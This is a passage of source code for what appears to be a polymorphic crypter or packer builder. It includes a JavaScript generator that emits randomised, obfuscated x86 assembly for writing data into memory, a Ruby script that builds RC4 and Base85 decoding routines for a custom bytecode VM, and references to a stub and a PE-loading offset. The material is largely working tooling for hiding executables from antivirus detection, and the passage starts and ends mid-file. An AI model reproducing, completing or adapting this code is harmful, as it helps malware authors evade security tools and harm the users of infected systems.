fs.writeFileSync(process.argv[2]+'\\stub.asm', stubSrcCode);
stt.saveSettings(process.argv[2]+'\\settings.json', ee.depth, (new Date()).getTime(), offsetLoadPE);

gendata.js

Одчинити
var fs = require('fs');
var _ = require('underscore');
var pad = require('./modules/node-pad/lib/pad.js');
const DONT_ADD_TO_LIST = 1; USE_ONLY_GENERAL_REGS = 2; LOCK_REG = 4; LOCK_VAR = 4;
const REG_EAX = 0, REG_EBX = 1, REG_ECX = 2, REG_EDX = 3, REG_ESI = 4, REG_EDI = 5, REG_EBP = 6;
const REG_DWORD = 0, REG_LOWORD = 1, REG_HIBYTE = 2, REG_LOBYTE = 3;
const REG_R32 = 0, REG_R16 = REG_LOWORD<<3, REG_R8H = REG_HIBYTE<<3, REG_R8L = REG_LOBYTE<<3;
const REG_AX=REG_EAX+(REG_LOWORD<<3), REG_BX=REG_EBX+(REG_LOWORD<<3), REG_CX=REG_ECX+(REG_LOWORD<<3), REG_DX=REG_EDX+(REG_LOWORD<<3),
      REG_AL=REG_EAX+(REG_LOBYTE<<3), REG_BL=REG_EBX+(REG_LOBYTE<<3), REG_CL=REG_ECX+(REG_LOBYTE<<3), REG_DL=REG_EDX+(REG_LOBYTE<<3),
      REG_AH=REG_EAX+(REG_HIBYTE<<3), REG_BH=REG_EBX+(REG_HIBYTE<<3), REG_CH=REG_ECX+(REG_HIBYTE<<3), REG_DH=REG_EDX+(REG_HIBYTE<<3),
      REG_SI=REG_ESI+(REG_LOWORD<<3), REG_DI=REG_EDI+(REG_LOWORD<<3);

const MEM32 = 0, MEM16 = 1, MEM8 = 2; 

function unchainMem(s) {
  var r=''; return ((_.isString(s) && (r = s.match(/\[([a-zA-Z\.]\w*)\]/)) !== null) ? r[1] : r); };
function unchainConst(s) {
  var r = ''; return ((_.isString(s) && (r = s.match(/0x[0-9a-fA-F]*/)) !== null) ? r[0] : r); };
function BytesToDword (B1, B2, B3, B4) {
  return ((B1 + (B2<<8)+(B3<<16) + (B4<<24))>>>0); };
Number.prototype.toHex = function() {
  return('0x'+this.toString(16).toUpperCase());};
function arrRndValue (arr) {
  return(arr[Math.floor(Math.random()*arr.length)]);};
function arrRndOrderConact(array){
  return(_.shuffle(array).join(''));};
var Register = function (sNameDW, sNameLW, sNameLB, sNameHB) {
  this.name = [sNameDW, sNameLW, sNameLB, sNameHB]; this.using = false; this.val=null;};
RegisterProto = {
  lock: function() { this.using = true;},
  unlock: function() { this.using = false; },
  toString: function(i) {if ( _.isUndefined(i) || i < 0 || i > 3) i = 0; return(this.name[i]);},
  isGeneral: function() {return(this.name[3] !== null);}};
Register.prototype = RegisterProto;

SetRegister = function(i) {if(_.isUndefined(i)||i<0||i>0x7f) i = 0; this.num = i;};
SetRegisterProto = {
    arrNames: ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'],
    has: function (i) { return ((_.isUndefined(i) || i < REG_EAX || i > REG_EBP) ? null: ((this.num & 1 << i)!=0));} ,
    add: function(i) { return ((_.isUndefined(i) || i < REG_EAX || i > REG_EBP) ? null: ((this.num |= ((1 << i)>>>0))>0));},
    remove: function(i) { return ((_.isUndefined(i) || i < REG_EAX || i > REG_EBP) ? null: ((this.num &= ~ ((1 << i)>>>0))>0));},
    toArrayIndex: function() { var x = []; _.each(_.range(REG_EBP+1), function(a){ if (this.has(a)) x.push(a);}, this); return(x); },
    toArrayIndexInverse: function() { var x = []; _.each(_.range(REG_EBP+1), function(a) { if (!this.has(a)) x.push(a);}, this); return(x); },
    toArrayNamesInverse: function() { return(_.map(this.toArrayIndexInverse(), function(x) { return (this.arrNames[x])}, this)); },
    toArrayNames: function() { return(_.map(this.toArrayIndex(), function(x) { return (this.arrNames[x])}, this)); }};
SetRegister.prototype = SetRegisterProto;

function Registers() {
    var rn = [['eax', 'ax', 'ah', 'al'], ['ebx', 'bx', 'bh', 'bl'], ['ecx', 'cx', 'ch', 'cl'], ['edx', 'dx', 'dh', 'dl'], ['esi', 'si', null, null ], ['edi', 'di', null, null], ['ebp', 'bp', null, null]];
    this.container = []; this.used = new SetRegister();
    _.each(rn, function(x, y) { this.container[y] = new Register(x[0], x[1], x[2], x[3]); }, this);};

RegistersProto = {
  objToIndex : function (a) {
    var b = null; _.find(this.container, function (x, y) { if (x === a) b=y; return (x === a);}, this); return(b);},
  arrIndexToArrObj : function (a) {
    return ((_.isUndefined(a) || (!_.isArray(a)) || _.find(a, function(x) {if (x>REG_EBP || x<REG_EAX) return(true);})) ? null : _.map(a, function(x) { return(this.container[x]); }, this));},
  getIndexByName : function (sName) {
    var num = NaN; _.find(this.container, function(x, y) { if (x.name[0]===sName) {num = y; return(true);} }, this); return (num);},
  getByIndex : function (i) { return ((_.isUndefined(i) || i < REG_EAX || i > REG_EBP) ? null : this.container[i]);},
  getArrFreeIndex : function () { return(this.used.toArrayIndexInverse()); },
  getArrFreeName : function () { return(this.used.toArrayNamesInverse()); },
  getArrFreeObj : function () { return(_.filter(this.container, function(x) {return(!x.using);}, this)); },
  getUsedIndex : function () {return(this.used.toArrayIndex());},
  getUsedNames : function() {return(this.used.toArrayNames());},
  getUsedObj : function () {return(this.arrIndexToArrObj(this.used.toArrayIndex()));},
  getFreeIndex : function(flags) {
    var  rs = this.getArrFreeObj(), r, res; 
    if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) {return(x.isGeneral());}, this); 
    if (!_.size(rs)) return(NaN); 
    r = arrRndValue(rs); 
    if (flags & LOCK_REG) r.lock(); 
    res = this.objToIndex(r);
    if (!(flags & DONT_ADD_TO_LIST)) this.used.add(res); 
    return(res);},
  getFreeObj : function(flags) {
    var  rs = this.getArrFreeObj(), r; 
    if (flags & USE_ONLY_GENERAL_REGS) rs = _.filter(rs, function(x) { return(x.isGeneral()); }, this); 
    if (!_.size(rs)) return(null); 
    r = arrRndValue(rs); 
    if (flags & LOCK_REG) r.lock();
    if (!(flags & DONT_ADD_TO_LIST)) this.used.add(this.objToIndex(r)); 
    return(r);}
}

Registers.prototype = RegistersProto;

function ExecutionEnvironment() {
  var f;
  this.regs = new Registers();
  this.tableCmd = [];
  f = function (p, f) { f.emit([['add', p[0].s, '1'], ['sub', p[0].s, '-1'], ['inc', p[0].s], ['lea', p[0].s, '['+p[0].s+'+0x1]']][_.random(3)]); }
  this.tableCmd.push(['inc', ['r8'], f]); 
  this.tableCmd.push(['inc', ['r16'], f]); 
  this.tableCmd.push(['inc', ['r32'], f]); 
  this.tableCmd.push(['inc', ['m32'], f]);
  f = function (p, f) { f.emit(['add', p[1].s, p[0].s]); };
  this.tableCmd.push(['add', ['c8', 'r8'], f]); 
  this.tableCmd.push(['add', ['c16', 'r16'], f]); 
  f = function (p, f) { f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+ p[1].s+'+'+unchainConst(p[0].s)+']']][_.random(1)]); };
  this.tableCmd.push(['add', ['c32', 'r32'],  f]);
  f = function (p, f) { f.emit([['add', p[1].s, p[0].s], ['lea', p[1].s, '['+p[0].s+'+'+p[1].s+']']][_.random(4)>0?0:1]); };
  this.tableCmd.push(['add', ['r32', 'r32'],  f]);
  f = function (p, f) { f.emit([['push', p[0].s, ';', 'pop', p[1].s], ['mov', p[1].s, p[0].s]][_.random(9)>0?1:0]); };
  this.tableCmd.push(['load', ['m32', 'r32'], f]); 
  this.tableCmd.push(['load', ['r32', 'm32'], f]); 
  this.tableCmd.push(['load', ['r32', 'r32'], f]); 
  this.tableCmd.push(['load', ['c32', 'r32'], f]); 
  this.tableCmd.push(['load', ['c32', 'm32'], f]);
  f = function (p, f) { f.emit(['push', p[0].s, ';', 'pop', p[1].s]); };
  this.tableCmd.push(['load', ['m32', 'm32'], 2, f]);
  f = function (p, f) { f.emit([['add', p[0].s, '-0x1'], ['sub', p[0].s, '0x1'], ['dec', p[0].s], ['lea', p[0].s, '['+p[0].s+'-0x1]']][_.random(3)]); };
  this.tableCmd.push(['dec', ['r8'], 1, f]); this.tableCmd.push(['dec', ['r16'], 1, f]); this.tableCmd.push(['dec', ['r32'], 1, f]);
  f = function(p, f) { f.emit([['test', p[0].s, p[0].s], ['cmp', p[0].s, (0).toHex()], ['or', p[0].s, p[0].s]][_.random(2)]); };
  this.tableCmd.push(['checkz', ['r8'], f]); 
  this.tableCmd.push(['checkz', ['r16'], f]); 
  this.tableCmd.push(['checkz', ['r32'], f]);
  f = function(p, f) { f.emit([['mov', p[0].s, '0x0'], ['push', '0x0', ';', 'pop', p[0].s], ['and', p[0].s, '0x0'], ['xor', p[0].s, p[0].s], ['sub', p[0].s, p[0].s]][_.random(4)]);};
  this.tableCmd.push(['loadz', ['r32'],  f]);
  f = function(p, f) { f.emit(['movzx', p[1].s, p[0].s]); };
  this.tableCmd.push(['loadzx', ['m8', 'r32'], f]);
  this.tableCmd.push(['loadzx', ['m16', 'r32'], f]);
  f = function(p, f) { 
    var r; 
    if (_.random(1)) { 
      f.emit(['cmp', p[1].s, p[0].s]);} 
    else { 
      r = f.getFreeReg(LOCK_REG); 
      f.cmd('loadzx_m16$r32', [unchainMem(p[1].s), r.i]);
      f.emit(['cmp', r.s, (p[0].i).toHex()]); 
      r.o.unlock();};};
  this.tableCmd.push(['check', ['c16', 'm16'], f]); 
  f = function(p, f) { f.emit(['cmp', p[1].s, p[0].s]); };
  this.tableCmd.push(['check', ['c32', 'm32'], f]); 
  this.tableCmd.push(['check', ['m32', 'r32'], f]);
  this.code = '';};

ExecutionEnvironmentProto = {
    emit : function (line) {
    ax = []; ay= []; if (_.isString(line)) {this.code+=line;return(line);} if (!_.isArray(line)) return(null);
    _.each(line, function(x, i, arr) { if (x == ';') { ay.push(ax); ax = []; return(0); } ax.push(x); } , this); if (_.size(ax)) ay.push(ax); 
    this.code+=_.reduce(ay, function(m, x) { var s =''; if(_.size(x)){s='    '+pad(x[0], 8); 
    if (_.size(x) > 1) { s += x.slice(1).join(', ');}} return(m+s+'\n');}, '', this);return(true);},
    toString : function () {return(this.code);},
    toType : function(t, v) {
      var getRSZ, isMem, toMem, toReg, oTableType; 
      getRSZ = function(a) { return((a>>3)&3); };
      isMem = function (a) { return(_.isString(a) ? '['+a+']': null); };
      toMem = function (m, i) { var obj = {'0':'DWord', '1':'Word', '2':'Byte'}, p; 
        return((_.isUndefined(i)||(!(p = isMem(m)))||(!_.isNumber(i)))?null:(_.has(obj, i)?{s:obj[i]+' '+p, o: null, i:null}:null)) };
      toReg = function (p, ee) { return({i: p, o: ee.regs.getByIndex(p&7), s: ee.regs.getByIndex(p&7).toString(getRSZ(p))});};
      oTableType = {
        'm32': function (p, ee) { return(toMem(p, MEM32)); }, 
        'm16': function (p, ee) { return(toMem(p, MEM16)); }, 
        'm8':  function (p, ee) { return(toMem(p, MEM8)); }, 
        'r32': function (p, ee) { return((_.isUndefined(p)||(p<REG_EAX)||p>REG_EBP)?null:toReg(p, ee)); },
        'r16': function (p, ee) { return((_.isUndefined(p) || (getRSZ(p)!==REG_LOWORD)) ? null:toReg(p, ee)); },
        'r8': function (p, ee)  { return((_.isUndefined(p) || (getRSZ(p)!==REG_HIBYTE&&getRSZ(p)!==REG_LOBYTE)) ? null:toReg(p, ee)) },
        'c32': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'DWORD ' + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null)) },
        'c16': function (p, ee) { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'WORD '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null)) },
        'c8': function (p, ee)  { return(((!_.isUndefined(p))&&_.isNumber(p)) ? {o:null,s:'BYTE '  + p.toHex(),i:p} : (_.isString(p) ? {o:null, s:p, i:null}: null)) }};
      return(_.has(oTableType,t)?oTableType[t](v,this):null);},
    cmd : function(name, params) {
      var p = [], c = _.find(this.tableCmd, function(x) { return ( (!_.size(x[1])) || (x[0]+'_'+x[1].join('$')===name));}, this);
      if (!c) return(false); 
      _.each(c[1], function (x, i) { var v = this.toType(x, params[i]); if (v) p.push(v);}, this); 
      c[2](p, this);},
    getFreeReg: function(f) {
      return(this.toType('r32', this.regs.getFreeIndex(f)));}};

ExecutionEnvironment.prototype = ExecutionEnvironmentProto;

function getRnd(arr) {
  var rnd = _.random(_.reduce(arr, function (a, b) {return(a+b)})-1), i=0, r = null, sum = 0;
  _.each(arr, function(m, n) { sum+=m; if ((r===null)&&(rnd<sum)) r = n; }, this);
  return(r);};

function generateData (buff, memdest, local) {
  var e = new ExecutionEnvironment();
  e.regs.container[REG_EBP].lock();
  var rPtr = e.getFreeReg(LOCK_REG), r, i=0;
  if (local) { e.emit(['lea',rPtr.s,'['+memdest+']']); } else { e.emit(['mov',rPtr.s,'['+memdest+']']); };
  while (i < _.size(buff)) {
    if ((buff.length - i) > 4) {
      dwVal = BytesToDword(buff[i], buff[i+1], buff[i+2], buff[i+3]);
      switch (getRnd([20, 20, 2, 2, 10, 10])) {
        case 0: 
          e.cmd('load_c32$m32', [dwVal, rPtr.s]);
          break;
        case 1:
          var rVal = e.getFreeReg(LOCK_REG);
          e.cmd('load_c32$r32', [dwVal, rVal.i]);
          e.cmd('load_r32$m32', [rVal.i, rPtr.s]);
          rVal.o.val = dwVal;
          rVal.o.unlock();
          break;
        case 2:
          var rVal = e.getFreeReg(LOCK_REG);
          e.cmd('load_c32$r32', [(~dwVal)>>>0, rVal.i]);
          e.emit(['not', rVal.s]);
          e.cmd('load_r32$m32', [rVal.i, rPtr.s]);
          rVal.o.val = dwVal;
          rVal.o.unlock();
          break;
        case 3:
          var rVal = e.getFreeReg(LOCK_REG)
          e.cmd('load_c32$r32', [(~dwVal)>>>0, rVal.i]); 
          e.cmd('load_r32$m32', [rVal.i, rPtr.s]); 
          e.emit(['not', 'DWord ['+rPtr.s+']']);
          rVal.o.val = ~dwVal;
          rVal.o.unlock();
          break;
        case 4:
          var regVal = e.getFreeReg(LOCK_REG)
          var rndVal = _.random(0xFFFFFFFF)
          e.cmd('load_c32$r32', [(rndVal)>>>0, regVal.i]);
          e.emit(['xor', regVal.s, ((rndVal^dwVal)>>>0).toHex()]);
          e.cmd('load_r32$m32', [regVal.i, rPtr.s]); 
          regVal.o.val = (dwVal)>>>0;
          regVal.o.unlock();
          break;
        case 5:
          var rndVal = _.random(0xFFFFFFFF)
          e.cmd('load_c32$m32', [(rndVal)>>>0, rPtr.s]);
          e.emit(['xor', 'DWord ['+rPtr.s+']', ((rndVal^dwVal)>>>0).toHex()]);
          break;}
        e.cmd('add_c32$r32', [0x4, rPtr.i]);
        i+=4; } 
      else { 
        e.emit(['mov','BYTE ['+rPtr.s+']', buff[i].toHex()]); 
        i++;
        if (i < buff.length) { 
          e.cmd('inc_r32', [rPtr.i]); };};};
  return(e.code);};

module.exports = generateData;

Файл pcode.rb використовується для створення асемблерного лістингу алгоритмів шифрування і кодування.

Одчинити
require 'json'
header = <<PCODE_FASM_HEADER
format binary
use32
include '%FASMINC%/win32a.inc'
include 'picovm.inc'

macro @ cmd, p {
 PICOVM_CMD cmd, p
}

PCODE_FASM_HEADER
$settings = JSON.parse(IO.read(ARGV[0]+'\settings.json'))

def _loadc (iConst)
  if (iConst<-1 || iConst>0xffff )
    return("@ _LOADCD, 0x#{iConst.to_s(16)}")
  elsif (iConst > 0xff)
    return(["@ _LOADCD, 0x#{iConst.to_s(16)}", "@ _LOADCW, 0x#{iConst.to_s(16)}"][rand(2)])
  else
    return(["@ _LOADCD, 0x#{iConst.to_s(16)}", "@ _LOADCW, 0x#{iConst.to_s(16)}", "@ _LOADCB, 0x#{iConst.to_s(16)}"][rand(3)])
  end
end

pcode_header = <<PCODE_HEADER
__Start__:
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd]
    #{_loadc(0x3)}
    @ _PICK
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, crcdsize]
    #{_loadc(0x3)}
    @ _PICK
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, crcdsize, pdst]
    @ _SWAP
; [pS, ppass, crcdsize, pdst, alphabet, pcrcd, pdst, crcdsize]
    @ _LOADCD, BASE85-.toBase85
.toBase85:
    @ _CALLR
; [pS, ppass, crcdsize, pdst]
;   @ _HLT
    @ _SWAP
; [pS, ppass, pdst, crcdsize]
    #{_loadc(0x5)}
    @ _DIV
    #{_loadc(0x4)}
    @ _MUL
; [pS, lpKey, lpBuf, dwBufLen]
    @ _ROT
    @ _SWAP
; [pS, lpBuf, lpKey, dwBufLen]
    #{_loadc($settings['pass']['val'].length)}
; [pS, lpBuf, lpKey, dwBufLen, dwKeyLen]
    #{_loadc(0x4)}
    @ _ROLL
; [lpBuf, lpKey, dwBufLen, dwKeyLen, pS]
    @ _LOADCD, RC4-@F
@@:
    @ _CALLR
    @ _HLT
PCODE_HEADER

pcode_RC4 = <<PCODE_RC4_FUNCTION
; [lpBuf, lpKey, dwBufLen, dwKeyLen, pS]
RC4:
@ _LOADCB, 0 ;B
@ _DUP ;A
@ _ROT
@ _SWAP
.for1_up:
@ _DUP
@ _LOADCW, 0x100;
@ _EQ
@ _NOT
@ _LOADCD, .for1_down-.tofor1_down
.tofor1_down:
@ _JMPC
@ _OVER
@ _OVER
@ _ADD
@ _OVER
@ _SWAP
@ _STOREB
@ _LOADCB, 0x1                           
@ _ADD
@ _LOADCD, .for1_up-.tofor1_up
.tofor1_up:
@ _JMPR
.for1_down:
@ _DROP
@ _LOADCB, 0x0
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0]
.for2_up:
@ _DUP
@ _LOADCW, 0x100
@ _EQ
@ _NOT
@ _LOADCD, .for2_down-.tofor2_down
.tofor2_down:
@ _JMPC
@ _OVER
@ _OVER
@ _ADD
@ _FETCHB
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]]
@ _LOADCB, 0x3
@ _PICK
@ _ADD 
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B]
@ _OVER
@ _LOADCB, 0x5
@ _PICK
@ _MOD
@ _LOADCB, 0x7
@ _PICK
@ _ADD
@ _FETCHB
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B, lpKey [A % dwKeyLen]]
@ _ADD
@ _LOADCB, 0xFF
@ _AND
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A=0, pS[A]+B+lpKey [A % dwKeyLen]]
@ _LOADCB, 0x3
@ _ROLL
@ _DROP
;[lpBuf, lpKey, dwBufLen, dwKeyLen, pS, A, B]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, A, B, pS]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A]
@ _OVER
@ _OVER
@ _ADD
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A]
@ _LOADCB, 0x2
@ _PICK
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A, pS]
@ _LOADCB, 0x4
@ _PICK
@ _ADD
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A, pS+A, pS+B]
@ _OVER
@ _FETCHB
@ _OVER
@ _FETCHB
@ _SWAP
@ _ROT
@ _STOREB
@ _SWAP
@ _STOREB
@ _LOADCB, 0x1
@ _ADD
@ _LOADCD, .for2_up-.tofor2_up
.tofor2_up:
@ _JMPR
.for2_down:
;[lpBuf, lpKey, dwBufLen, dwKeyLen, B, pS, A]
@ _ROT
;[lpBuf, lpKey, dwBufLen, dwKeyLen, pS, A, B]
@ _LOADCB, 0x3
@ _ROLL
@ _DROP
;[lpBuf, lpKey, dwBufLen, pS, A, B]
@ _LOADCB, 0x4
@ _ROLL
@ _DROP
@ _SWAP
;[lpBuf, dwBufLen, pS, B, A]
.for3_up:
@ _LOADCB, 0x3
@ _ROLL
@ _DUP
;[lpBuf, pS, B, A, dwBufLen, dwBufLen]
@ _LOADCD, .for3_down-.tofor3_down
.tofor3_down:
@ _JMPC
@ _LOADCB, 0x1
@ _SUB
;[lpBuf, pS, B, A, dwBufLen]
@ _SWAP
@ _LOADCB, 0x1
@ _ADD
@ _LOADCB, 0xFF
@ _AND
;[lpBuf, pS, A, dwBufLen, (A+1)%255]
@ _ROT
;[lpBuf, pS, dwBufLen, (A+1)%255, B]
@ _OVER
@ _LOADCB, 0x4
@ _PICK
@ _ADD
@ _FETCHB
@ _ADD
@ _LOADCB, 0xFF
@ _AND
@ _OVER
@ _OVER
@ _LOADCB, 0x5
@ _PICK
@ _ADD
@ _SWAP
@ _LOADCB, 0x5
@ _PICK
@ _ADD
@ _OVER
@ _OVER
;
@ _OVER
@ _FETCHB
@ _OVER
@ _FETCHB
@ _SWAP
@ _ROT
@ _STOREB
@ _SWAP
@ _STOREB
;
@ _FETCHB
@ _SWAP
@ _FETCHB
@ _ADD
@ _LOADCB, 0xFF
@ _AND
@ _LOADCB, 0x4
@ _PICK
@ _ADD
@ _FETCHB
@ _LOADCB, 0x5
@ _PICK
@ _FETCHB
@ _XOR
@ _LOADCB, 0x5
@ _PICK
@ _STOREB
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x1
@ _ADD
@ _ROT
@ _ROT
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x4
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _LOADCB, 0x3
@ _ROLL
@ _ROT
@ _ROT
@ _SWAP
@ _LOADCD, .for3_up-.tofor3_up
.tofor3_up:
@ _JMPR
.for3_down:
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _RET
PCODE_RC4_FUNCTION

pcode_BASE85 = <<PCODE_BASE85_FUNCTION
; BASE85
;[pAlphabet, pSrc, pDst, Size]
BASE85:
@ _DUP
#{_loadc(0x0)}
@ _EQ
@ _NOT
@ _LOADCD, .Down-.toDown
.toDown:
@ _JMPC
#{_loadc(0x5)}
@ _SUB
@ _ROT
;[pAlphabet, pDst, Size, pSrc]
#{_loadc(0x3)}
@ _PICK
;[pAlphabet, pDst, Size, pSrc, pAlphabet]
@ _SWAP
;[pAlphabet, pDst, Size, pAlphabet, pSrc]
@ _LOADCD, DECODE_DWORD-.toDecodeDWord
.toDecodeDWord:
@ _CALLR
;[pAlphabet, pDst, Size, pSrc, DW]
#{_loadc(0x3)}
@ _PICK
;[pAlphabet, pDst, Size, pSrc, DW, pDst]
@ _STORED
;[pAlphabet, pDst, Size, pSrc]
@ _ROT
;[pAlphabet, Size, pSrc, pDst]
#{_loadc(0x4)}
@ _ADD
@ _ROT
;[pAlphabet, pSrc, pDst, Size]
@ _LOADCD, BASE85-.toUp
.toUp:
@ _JMPR
.Down:
@ _DROP
@ _DROP
@ _DROP
@ _DROP
@ _RET
PCODE_BASE85_FUNCTION

pcode_SEARCHB = <<PCODE_SEARCHB_FUNCTION
SEARCHB:
@ _OVER
@ _SWAP
.Up:
@ _OVER
@ _FETCHB
@ _OVER
;[pMem, pMem, bVal, [pMem], bVal]
@ _EQ
;[pMem, pMem, bVal, BOOL]
@ _NOT
@ _LOADCD, .Down-.toDown
.toDown:
@ _JMPC
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _LOADCD, .Up-.toUp
.toUp:
@ _JMPR
.Down:
@ _DROP
@ _SWAP
@ _SUB
@ _RET
PCODE_SEARCHB_FUNCTION

pcode_DECODE_DWORD = <<PCODE_DECODE_DWORD_FUNCTION
;[pAlphabet, pSrc] => [pSrc, DW]
DECODE_DWORD:
@ _LOADCB, 0
@ _OVER
@ _FETCHB
;[pAlphabet, pSrc, 0, [pSrc]]
#{_loadc(0x3)}
@ _PICK
@ _SWAP
;[pAlphabet, pSrc, 0, Alphabet, [pSrc]]
@ _LOADCD, SEARCHB -.toSearchB1
.toSearchB1:
@ _CALLR
@ _ADD
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
#{_loadc(0x3)}
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB2
.toSearchB2:
@ _CALLR
#{_loadc(85)}
@ _MUL
@ _ADD
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
#{_loadc(0x3)}
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB3
.toSearchB3:
@ _CALLR
@ _LOADCW, 85*85
@ _MUL
@ _ADD
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
#{_loadc(0x3)}
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB4
.toSearchB4:
@ _CALLR
@ _LOADCD, 85*85*85
@ _MUL
@ _ADD
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _OVER
@ _FETCHB
#{_loadc(0x3)}
@ _PICK
@ _SWAP
@ _LOADCD, SEARCHB -.toSearchB5
.toSearchB5:
@ _CALLR
@ _LOADCD, 85*85*85*85
@ _MUL
@ _ADD
@ _ROT
@ _DROP
@ _SWAP
#{_loadc(0x1)}
@ _ADD
@ _SWAP
@ _RET
PCODE_DECODE_DWORD_FUNCTION

pcode = header+pcode_header+"\n"+[pcode_RC4, pcode_SEARCHB, pcode_BASE85, pcode_DECODE_DWORD].shuffle*"\n"
f = File.new(ARGV[0]+'\pcode.asm', 'w')
f.puts(pcode)
f.close

platform.js

Одчинити
var pad = require('./modules/node-pad/lib/pad.js');
var fs = require('fs');
var _ = require('underscore');
const DONT_ADD_TO_LIST = 1; USE_ONLY_GENERAL_REGS = 2; LOCK_REG = 4; LOCK_VAR = 4;

exports.DONT_ADD_TO_LIST = DONT_ADD_TO_LIST; exports.USE_ONLY_GENERAL_REGS = USE_ONLY_GENERAL_REGS; exports.LOCK_REG = LOCK_REG; 
exports.LOCK_VAR = LOCK_VAR;

const REG_EAX = 0, REG_EBX = 1, REG_ECX = 2, REG_EDX = 3, REG_ESI = 4, REG_EDI = 5, REG_EBP = 6;
exports.REG_EAX = REG_EAX; exports.REG_EBX = REG_EBX; exports.REG_ECX = REG_ECX; exports.REG_EDX = REG_EDX; exports.REG_ESI = REG_ESI;
exports.REG_EDI = REG_EDI; exports.REG_EBP = REG_EBP;

const REG_DWORD = 0, REG_LOWORD = 1, REG_HIBYTE = 2, REG_LOBYTE = 3;
exports.REG_DWORD = REG_DWORD; exports.REG_LOWORD = REG_LOWORD; exports.REG_HIBYTE = REG_HIBYTE; exports.REG_LOBYTE = REG_LOBYTE; 

const REG_R32 = 0, REG_R16 = REG_LOWORD<<3, REG_R8H = REG_HIBYTE<<3, REG_R8L = REG_LOBYTE<<3;
exports.REG_R32 = REG_R32; exports.REG_R16 = REG_R16; exports.REG_R8H = REG_R8H; exports.REG_R8L = REG_R8L;

const REG_AX=REG_EAX+(REG_LOWORD<<3), REG_BX=REG_EBX+(REG_LOWORD<<3), REG_CX=REG_ECX+(REG_LOWORD<<3), REG_DX=REG_EDX+(REG_LOWORD<<3),
      REG_AL=REG_EAX+(REG_LOBYTE<<3), REG_BL=REG_EBX+(REG_LOBYTE<<3), REG_CL=REG_ECX+(REG_LOBYTE<<3), REG_DL=REG_EDX+(REG_LOBYTE<<3),
      REG_AH=REG_EAX+(REG_HIBYTE<<3), REG_BH=REG_EBX+(REG_HIBYTE<<3), REG_CH=REG_ECX+(REG_HIBYTE<<3), REG_DH=REG_EDX+(REG_HIBYTE<<3),
      REG_SI=REG_ESI+(REG_LOWORD<<3), REG_DI=REG_EDI+(REG_LOWORD<<3);

exports.REG_AX = REG_AX; exports.REG_BX = REG_BX; exports.REG_CX = REG_CX; exports.REG_DX = REG_DX;
exports.REG_AL = REG_AL; exports.REG_BL = REG_BL; exports.REG_CL = REG_CL; exports.REG_DL = REG_DL;
exports.REG_AH = REG_AH; exports.REG_BH = REG_BH; exports.REG_CH = REG_CH; exports.REG_DH = REG_DH;
exports.REG_SI = REG_SI; exports.REG_DI = REG_DI;

const MEM32 = 0, MEM16 = 1, MEM8 = 2; 
exports.MEM32 = MEM32; exports.MEM16 = MEM16; exports.MEM8 = MEM8;

function unchainMem(s) {
    var r=""; 
    if (_.isString(s) && (r = s.match(/\[([a-zA-Z\.]\w*)\]/)) !== null) return(r[1]); 
    return(r);
}

function unchainConst(s){
    var r = ""; 
    if (_.isString(s) && (r = s.match(/0x[0-9a-fA-F]*/)) !== null) return(r[0]); 
    return(r);}

function BytesToDword (B1, B2, B3, B4) {
    var iResult = B1 + (B2<<8)+(B3<<16) + (B4<<24);
    return(iResult>>>0);};

alignBy = function (m, n) {
    return(n * Math.floor(((m+n-1)/n))); };

exports.BytesToDword = BytesToDword;

Number.prototype.toHex = function() {
    return('0x'+this.toString(16)); };

function arrRndValue (arr) {                                                                           
    return(arr[Math.floor(Math.random()*arr.length)]);};

function arrRndOrderConact(array){
    return(_.shuffle(array).join(''));};
    
var Register = function (sNameDW, sNameLW, sNameLB, sNameHB) {
    this.name = [sNameDW, sNameLW, sNameLB, sNameHB]; this.using = false; };

RegisterProto = {
    lock: function() { this.using = true;},

    unlock: function() { this.using = false; },

    toString: function(i) {if ( _.isUndefined(i) || i < 0 || i > 3) i = 0; return(this.name[i]);},

    isGeneral: function(){return(this.name[3] !== null);}};

SetRegister = function(i) {if(_.isUndefined(i)||i<0||i>0x7f) i = 0; this.num = i;};

module.exports.Register = Register;
module.exports.Register.prototype = RegisterProto;

SetRegisterProto = {
    arrNames: ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'],

    has: function (i) {
        if (_.isUndefined(i) || i < REG_EAX || i > REG_EBP) return(false); return ((this.num & 1 << i)!=0);},
